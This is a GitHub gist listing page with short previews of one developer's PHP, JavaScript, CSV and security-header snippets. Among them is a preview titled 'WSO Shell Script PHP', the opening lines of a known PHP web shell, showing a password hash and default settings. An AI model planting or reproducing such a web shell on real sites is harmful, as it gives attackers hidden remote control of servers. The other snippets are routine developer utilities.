Skip to content

Instantly share code, notes, and snippets.

Fahad Ali Khan fhdalikhan

Block or report user

Report or block fhdalikhan

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@fhdalikhan
fhdalikhan / index.html
Created Sep 11, 2019
millicast.com paid webtrc service for video broadcasting
View index.html
<!DOCTYPE html>
<html>
<head>
<title></title>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
</head>
<body>
<div id="messages">
@fhdalikhan
fhdalikhan / wso_shell.php
Created Sep 10, 2019
WSO Shell Script PHP
View wso_shell.php
<?php
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
@fhdalikhan
fhdalikhan / macro.php
Created Aug 20, 2019
Carbon Macro For Laravel, Useful To Test For Valid Date.
View macro.php
<?php
Carbon::macro('checkDate', function ($year, $month = null, $day = null) {
if (isset($this)) {
throw new \RuntimeException('Carbon::checkDate() must be called statically.');
}
if ($day === null) {
[$year, $month, $day] = explode('-', $year);
}
View curl-example.php
<?php
class CurlTest {
const API_BASE_URL = 'http://example.com/v1/';
protected $apiKey = 'YOUR API KEY';
protected function _getApiData($route, $method = 'GET', $sendData = array()){
$method = strtoupper($method);
$requestUrl = self::API_BASE_URL.$route;
$curlObj = curl_init();
@fhdalikhan
fhdalikhan / .js
Created Jul 19, 2019
Generate random hex color values
View .js
'#'+(Math.random()*0xFFFFFF<<0).toString(16);
@fhdalikhan
fhdalikhan / us-cities.csv
Created Jul 15, 2019 — forked from sohlis/us-cities.csv
All US Cities CSV
View us-cities.csv
City State short
Holtsville NY
Agawam MA
Amherst MA
Barre MA
Belchertown MA
Blandford MA
Bondsville MA
Brimfield MA
Chester MA
@fhdalikhan
fhdalikhan / csp.txt
Created Jul 10, 2019
Content-Security-Policy Placeholder, add your domains in place of example.com
View csp.txt
Content-Security-Policy: default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self' www.google-analytics.com wss://example.com; font-src example.com; form-action 'self' example.com; frame-ancestors 'none'; frame-src example.com; img-src 'self' data: example.com *.example.com; manifest-src 'self'; media-src 'none'; script-src example.com; style-src 'unsafe-inline' example.com
@fhdalikhan
fhdalikhan / addProduct.php
Last active Jun 25, 2019
Add product data by browser console
View addProduct.php
<?php
public function addProduct()
{
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Content-Type, X-Auth-Token, Origin, Authorization, X-SC-Touchpoint');
if ( ! isset($_POST['slug']) ) {
return false;
}
@fhdalikhan
fhdalikhan / export-csv.php
Created Jun 25, 2019
export csv using fputcsv in PHP
View export-csv.php
<?php
function export(){
$filename = 'users_'.date('Ymd').'.csv';
header("Content-Disposition: attachment; filename=\"$filename\"");
header("Content-Type: application/vnd.ms-excel");
/* Connect to a MySQL database using driver invocation */
$dsn = 'mysql:dbname=test_db;host=127.0.0.1';
$user = 'test';
@fhdalikhan
fhdalikhan / export-csv.php
Last active Jun 25, 2019
export csv in PHP
View export-csv.php
<?php
function export(){
$filename = uniqid().".csv";
header("Content-Disposition: attachment; filename=\"$filename\"");
header("Content-Type: application/vnd.ms-excel");
/* Connect to a MySQL database using driver invocation */
$dsn = 'mysql:dbname=test_db;host=127.0.0.1';
You can’t perform that action at this time.